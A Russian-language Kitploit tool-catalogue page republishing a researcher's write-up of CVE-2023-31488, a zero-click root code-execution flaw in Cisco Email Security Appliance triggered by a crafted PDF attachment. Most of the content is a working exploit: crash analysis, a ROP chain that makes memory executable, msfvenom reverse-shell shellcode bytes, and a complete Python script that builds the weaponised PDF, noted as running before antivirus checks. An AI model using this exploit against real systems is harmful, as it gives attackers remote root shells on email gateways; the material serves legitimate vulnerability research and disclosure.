Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cisco-CVE-2023-31488 — Cisco Email Security Appliance: от письма до zero-click RCE с правами root — удалённое выполнение кода / повреждение памяти / ROP-цепочка | Kitploit
Инструменты/GitHubGitHub/ly1g3/cisco-cve-2023-31488
Фреймворки для эксплойтовКриминалистика памятиАнализ уязвимостейЭксплуатацияОбратная инженерияШелл-кодФаззингТестирование на ПроникновениеРазработка Полезной НагрузкиБезопасность Электронной ПочтыЭксплуатация Бинарных Файлов
11 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
ly1g3/cisco-cve-2023-31488

cisco-CVE-2023-31488

Cisco Email Security Appliance: от письма до zero-click RCE с правами root — удалённое выполнение кода / повреждение памяти / ROP-цепочка

Репозиторий

О проекте

Исследователь безопасности: ly1g3, ly1g3[at]tuta.io

Отпечаток GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

Обзор: zero-click RCE через email с правами root - удалённое выполнение кода / повреждение памяти / ROP-цепочка

CVE: CVE-2023-31488

Хронология:

  • Обнаружено - ly1g3
  • Сообщено - ly1g3
  • Исправлено - Cisco и Lexmark

Разбор

Во время фаззинга Cisco Email Security Appliance (ESA) я обнаружил уязвимость в Lexmark Perceptive Filters, используемых ESA для санитизации данных почтовых вложений, что приводит к RCE через email. Сбой возникает при разборе модифицированного PDF-вложения. Путём изменения двузначного ID объекта PDF, например:

Например:

root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor

Изменение части ID с 13 на что-то другое (например, пробел) приводит к:

root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
1

Отправка этого модифицированного PDF в письме на Cisco ESA вызывает крах с ошибкой сегментации в libISYSpdf6.so. Сбой происходит из-за того, что r14 содержит ASCII-данные.

2 3

Более детальное изучение показывает, что эти данные берутся из содержимого PDF-вложения, находящегося под нашим контролем. Значение r14 — это Rect. 4

Тестирование при изменении Rect на AAAA.

5

Поскольку значение r14 загружается из данных PDF, мы можем изменить его так, чтобы оно указывало на допустимый адрес памяти. После этой корректировки происходит ещё один сбой из-за недопустимых данных в RAX. Эти данные также являются ASCII из PDF.

6

Мы модифицируем PDF так, чтобы rax также указывал на реальный адрес, и продолжаем дальше. 7

Происходит новый сбой; теперь rsi содержит ASCII-данные из PDF. 8

Мы снова модифицируем PDF, чтобы загрузить реальный адрес памяти.

9

Наконец, мы доходим до очень интересного фрагмента кода. Здесь мы контролируем rdi, который используется для загрузки значения в rax. Финальная инструкция в этой последовательности — call rax. Теперь мы делаем хорошие успехи на пути к возможности выполнения кода.

10

Снова заходим в hex-редактор и изменяем значение, загружаемое в rdi. 11

Теперь у нас есть возможность ограниченного выполнения кода, и мы можем перейти на один адрес. Поскольку ASLR отсутствует, находить адреса памяти легко. Мы также контролируем rdi и поэтому используем начальный ROP-гаджет libISYSshared.so: push rdi; pop rsp; xor eax, , чтобы переместить rdi в rsp и управлять стеком. Мы направляем стек на область, которую контролируем в регионе памяти PDF, где подготовлен собственный стек с дополнительными ROP-гаджетами. 12

Shellcode обратной оболочки FreeBSD, сгенерированный msfvenom, размещается в регионе памяти PDF. Но поскольку память не исполняемая, сначала нам нужно сделать её исполняемой.

root@kitploit:~
shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"

Поскольку на этом этапе мы контролируем стек, это можно сделать с помощью следующей ROP-цепочки для вызова mmap и установки области памяти shellcode как RWX.

root@kitploit:~
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 

После вызова mmap call rsp; выполнит NOP-слайд нашего shellcode, поскольку адрес shellcode находится следующим в нашем собственном стеке. Shellcode — это обратная оболочка, сгенерированная msfvenom.

Интересная особенность: этот код выполняется до любых статических антивирусных проверок, поэтому стандартная обратная оболочка Metasploit будет работать без проблем.

Мы можем использовать POC ниже для создания рабочего PDF. После этого мы просто отправляем его по email на ESA и получаем RCE. По поводу повышения привилегий смотрите мои другие уязвимости.

И таким образом мы получаем удалённую оболочку на ESA:

13

Это был увлекательный проект, который многому меня научил в области уязвимостей повреждения памяти. Он также демонстрирует, насколько хорошей защитой является «современная» защита памяти, такая как ASLR, но также и то, что до сих пор можно найти системы без ASLR.

Cisco AsyncOS 14.2.0

Атака переполнением на ESA (Cisco Secure Email). Удалённое выполнение кода с правами root.

Переполнение переменной/буфера в Lexmark Perceptive Filters

Отправка специально созданного PDF-файла вызывает переполнение, которое позволяет атакующему получить произвольное удалённое выполнение кода на ESA и других продуктах, использующих Lexmark Perceptive Filters.

Технические детали

Эта атака переполнением позволяет атакующему получить контроль над инструкцией call rax, что делает тривиальным переход к произвольному выполнению кода, поскольку на ESA не используется ASLR. Код будет выполняться с правами root.

Проблема возникает при разборе PDF в библиотеке libISYSpdf6.so от Lexmark и вызвана вызовами функции IGR_Open_File_Ex. Эта функция прослеживается до функций safeprint и image_analysis в AMP (Advanced Malware Protection), но эксплойт, возможно, можно активировать и другими путями.

Шаги воспроизведения:

  1. Создайте PDF, содержащий Subtype/CIDFontType2/FontDescriptor. Пример можно найти здесь: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
  2. Например:
root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
  1. Замените часть id 13 на другое значение (например, пробел) 1 , что даст:
root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
  1. Отправьте PDF на ESA с включёнными safeprint или AMP image_analysis

  2. Это приводит к ошибке сегментации (Segmentation Fault) в libISYSpdf6.so

root@kitploit:~
// r14 is now user controlled and point to data in pdf
0x804d4ffc0                  mov    rax, QWORD PTR [r14+0x18]
  1. Это можно превратить в RCE, поскольку данные, загруженные в rax, в конечном итоге достигнут:
root@kitploit:~
// Call with controlled rax, start of ROP chain
0x804d50298: call   rax
  1. Затем можно создать ROP-цепочку для обратной оболочки, поскольку ASLR не используется, — это тривиально

POC

root@kitploit:~

import sys
from pwn import *

message = """Usage: python3 gen_esa_exploit.py template.pdf exp.pdf

For template file use: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf

Change of pdf_data_base_address may be required.

ly1g3, ly1g3[at]tuta.io
"""

def insert_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        content.insert(at_address+i,addr[i])

def overwrite_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        index = at_address+i
        content[index] = addr[i]

def overwrite_string_at_address(content, at_address, content_to_write):
    for i in range(len(content_to_write)):
        index = at_address+i
        content[index] = content_to_write[i]




if len(sys.argv) < 3:
    print(message)
    
    sys.exit()

file_in = sys.argv[1]
file_out = sys.argv[2]



content = None
with open(file_in, "rb") as fi:
    content = bytearray(fi.read())

pos1 = 0x1C41 # position of "13 0 obj"
content[pos1] = 0x20

pos2 = 0x278C # /Rect object pointed to by r14
content[pos2] = 0x00

# Remove /Font at rem_start to make space for full address
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
    del content[rem_start]

# Remove GB1 to make space for address
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
        del content[rem_start]

# Insert address for r14
# at 0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
# Insert address to pdf data here
# Use pointer to 0xe0 offset in pdf works
pdf_data_base_address = 0x804c27384

address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)


# Random offset somewhere in the start of the pdf but not near the header
offset_in_pdf = 0xE0

#0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)

#0x804e51fc4                  add    r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)

# 0x804e08536                  mov    rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)

# 0x804e52286                  mov    rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)


libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 


# 0x804e52289                  mov    rax, QWORD PTR [rax+0x18]
# This address will execute at
# 0x804e52298                  call   rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)

# 0x804e5228d                  mov    esi, DWORD PTR [r12+0x10]
# This value will esi contain at call rax
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)

# $rdi will after this point to pdf_data_base_address can be used for rop chain


## ROP CHAIN

libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] File: libISYSshared.so: ret 0xf0; 
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] File: libISYSshared.so: ret; 

first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)

second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)

stack=0x230
overwrite_at_address(content, stack, rop3,8)

rop_chain_start=0x238

from struct import pack

p = lambda x : pack('Q', x)

shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"



IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)


rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 
rop += buf

print(rop)

overwrite_string_at_address(content, rop_chain_start, rop)

# ROP Chain here

with open(file_out, "wb") as fo:
    fo.write(content)

Скачать инструмент